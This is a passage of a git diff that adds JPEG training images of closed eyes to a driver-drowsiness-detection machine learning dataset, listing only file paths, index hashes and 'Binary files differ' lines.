Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_599.jpg new file mode 100644 index 00000000..5e523228 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_599.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_6.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_6.jpg new file mode 100644 index 00000000..d905ffa9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_6.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_60.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_60.jpg new file mode 100644 index 00000000..816d69c4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_60.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_600.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_600.jpg new file mode 100644 index 00000000..338d207a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_600.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_601.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_601.jpg new file mode 100644 index 00000000..761f52ff Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_601.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_602.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_602.jpg new file mode 100644 index 00000000..f37b22a4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_602.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_603.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_603.jpg new file mode 100644 index 00000000..c8a71ed9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_603.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_604.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_604.jpg new file mode 100644 index 00000000..43adf90e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_604.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_606.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_606.jpg new file mode 100644 index 00000000..ad25dc9d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_606.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_607.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_607.jpg new file mode 100644 index 00000000..3166daf2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_607.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_610.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_610.jpg new file mode 100644 index 00000000..22c5df10 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_610.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_611.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_611.jpg new file mode 100644 index 00000000..74016490 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_611.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_612.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_612.jpg new file mode 100644 index 00000000..de7f4bec Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_612.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_613.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_613.jpg new file mode 100644 index 00000000..d3b30fb0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_613.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_614.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_614.jpg new file mode 100644 index 00000000..741630c6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_614.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_615.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_615.jpg new file mode 100644 index 00000000..37d56500 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_615.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_616.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_616.jpg new file mode 100644 index 00000000..b5c5c352 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_616.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_617.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_617.jpg new file mode 100644 index 00000000..ab7e6f0c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_617.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_619.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_619.jpg new file mode 100644 index 00000000..b9cf356a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_619.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_62.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_62.jpg new file mode 100644 index 00000000..63e84403 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_62.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_620.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_620.jpg new file mode 100644 index 00000000..5a09dc13 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_620.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_621.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_621.jpg new file mode 100644 index 00000000..5843869d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_621.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_622.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_622.jpg new file mode 100644 index 00000000..40eca831 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_622.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_623.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_623.jpg new file mode 100644 index 00000000..92371ed6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_623.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_625.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_625.jpg new file mode 100644 index 00000000..07ebd501 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_625.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_626.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_626.jpg new file mode 100644 index 00000000..17a36653 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_626.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_627.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_627.jpg new file mode 100644 index 00000000..76eb382a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_627.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_628.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_628.jpg new file mode 100644 index 00000000..e8d01dfc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_628.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_629.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_629.jpg new file mode 100644 index 00000000..0ac3bd2f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_629.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_63.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_63.jpg new file mode 100644 index 00000000..239a4ff7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_63.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_630.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_630.jpg new file mode 100644 index 00000000..27e86515 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_630.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_631.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_631.jpg new file mode 100644 index 00000000..1692f0ce Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_631.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_632.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_632.jpg new file mode 100644 index 00000000..0e018cd8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_632.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_633.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_633.jpg new file mode 100644 index 00000000..18520b8f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_633.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_635.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_635.jpg new file mode 100644 index 00000000..3141de26 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_635.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_636.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_636.jpg new file mode 100644 index 00000000..cd392dda Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_636.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_637.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_637.jpg new file mode 100644 index 00000000..2b1d17ae Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_637.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_638.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_638.jpg new file mode 100644 index 00000000..ab985c0d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_638.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_640.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_640.jpg new file mode 100644 index 00000000..cbc62fde Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_640.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_641.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_641.jpg new file mode 100644 index 00000000..98487b7b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_641.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_642.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_642.jpg new file mode 100644 index 00000000..494ada19 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_642.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_643.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_643.jpg new file mode 100644 index 00000000..dbfd4b54 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_643.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_644.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_644.jpg new file mode 100644 index 00000000..6b4f9a9a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_644.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_645.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_645.jpg new file mode 100644 index 00000000..b6c8453c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_645.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_646.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_646.jpg new file mode 100644 index 00000000..879837d4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_646.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_647.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_647.jpg new file mode 100644 index 00000000..173c5895 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_647.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_648.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_648.jpg new file mode 100644 index 00000000..9177f0cf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_648.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_649.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_649.jpg new file mode 100644 index 00000000..3e6f0c9c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_649.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_65.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_65.jpg new file mode 100644 index 00000000..6b512c63 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_65.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_651.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_651.jpg new file mode 100644 index 00000000..cded7de9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_651.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_652.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_652.jpg new file mode 100644 index 00000000..435334eb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_652.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_653.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_653.jpg new file mode 100644 index 00000000..a8a8bbdf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_653.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_654.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_654.jpg new file mode 100644 index 00000000..a0663de0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_654.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_655.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_655.jpg new file mode 100644 index 00000000..1a12349e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_655.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_657.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_657.jpg new file mode 100644 index 00000000..48e1347f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_657.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_658.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_658.jpg new file mode 100644 index 00000000..445347e7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_658.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_659.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_659.jpg new file mode 100644 index 00000000..57b17e90 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_659.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_66.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_66.jpg new file mode 100644 index 00000000..81681b56 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_66.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_660.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_660.jpg new file mode 100644 index 00000000..cd7bf968 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_660.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_661.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_661.jpg new file mode 100644 index 00000000..afe6cd27 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_661.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_662.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_662.jpg new file mode 100644 index 00000000..f03e5a7d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_662.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_663.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_663.jpg new file mode 100644 index 00000000..39ebfd7a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_663.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_664.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_664.jpg new file mode 100644 index 00000000..45ecac1a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_664.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_665.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_665.jpg new file mode 100644 index 00000000..388937a3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_665.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_668.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_668.jpg new file mode 100644 index 00000000..5dae1826 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_668.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_669.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_669.jpg new file mode 100644 index 00000000..cd5bb758 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_669.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_67.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_67.jpg new file mode 100644 index 00000000..807cf04a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_67.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_670.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_670.jpg new file mode 100644 index 00000000..2052ff05 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_670.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_671.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_671.jpg new file mode 100644 index 00000000..c2192541 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_671.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_672.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_672.jpg new file mode 100644 index 00000000..c280bfaa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_672.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_673.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_673.jpg new file mode 100644 index 00000000..5359d2c8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_673.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_674.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_674.jpg new file mode 100644 index 00000000..a9a3aa1f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_674.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_675.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_675.jpg new file mode 100644 index 00000000..353c8635 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_675.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_676.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_676.jpg new file mode 100644 index 00000000..714e2486 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_676.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_677.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_677.jpg new file mode 100644 index 00000000..f88ca203 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_677.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_678.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_678.jpg new file mode 100644 index 00000000..98d2d554 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_678.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_68.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_68.jpg new file mode 100644 index 00000000..d5831706 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_68.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_680.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_680.jpg new file mode 100644 index 00000000..e637fa7b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_680.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_681.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_681.jpg new file mode 100644 index 00000000..23d78f4c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_681.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_682.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_682.jpg new file mode 100644 index 00000000..958e50cb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_682.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_683.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_683.jpg new file mode 100644 index 00000000..f853e00f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_683.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_684.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_684.jpg new file mode 100644 index 00000000..9a6acd59 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_684.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_685.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_685.jpg new file mode 100644 index 00000000..cfc4a9a2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_685.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_686.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_686.jpg new file mode 100644 index 00000000..647e665d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_686.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_688.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_688.jpg new file mode 100644 index 00000000..3e4b87ea Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_688.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_689.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_689.jpg new file mode 100644 index 00000000..d91dc834 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_689.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_69.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_69.jpg new file mode 100644 index 00000000..37f5704a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_69.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_690.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_690.jpg new file mode 100644 index 00000000..88cbf7e2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_690.jpg differ diff --git 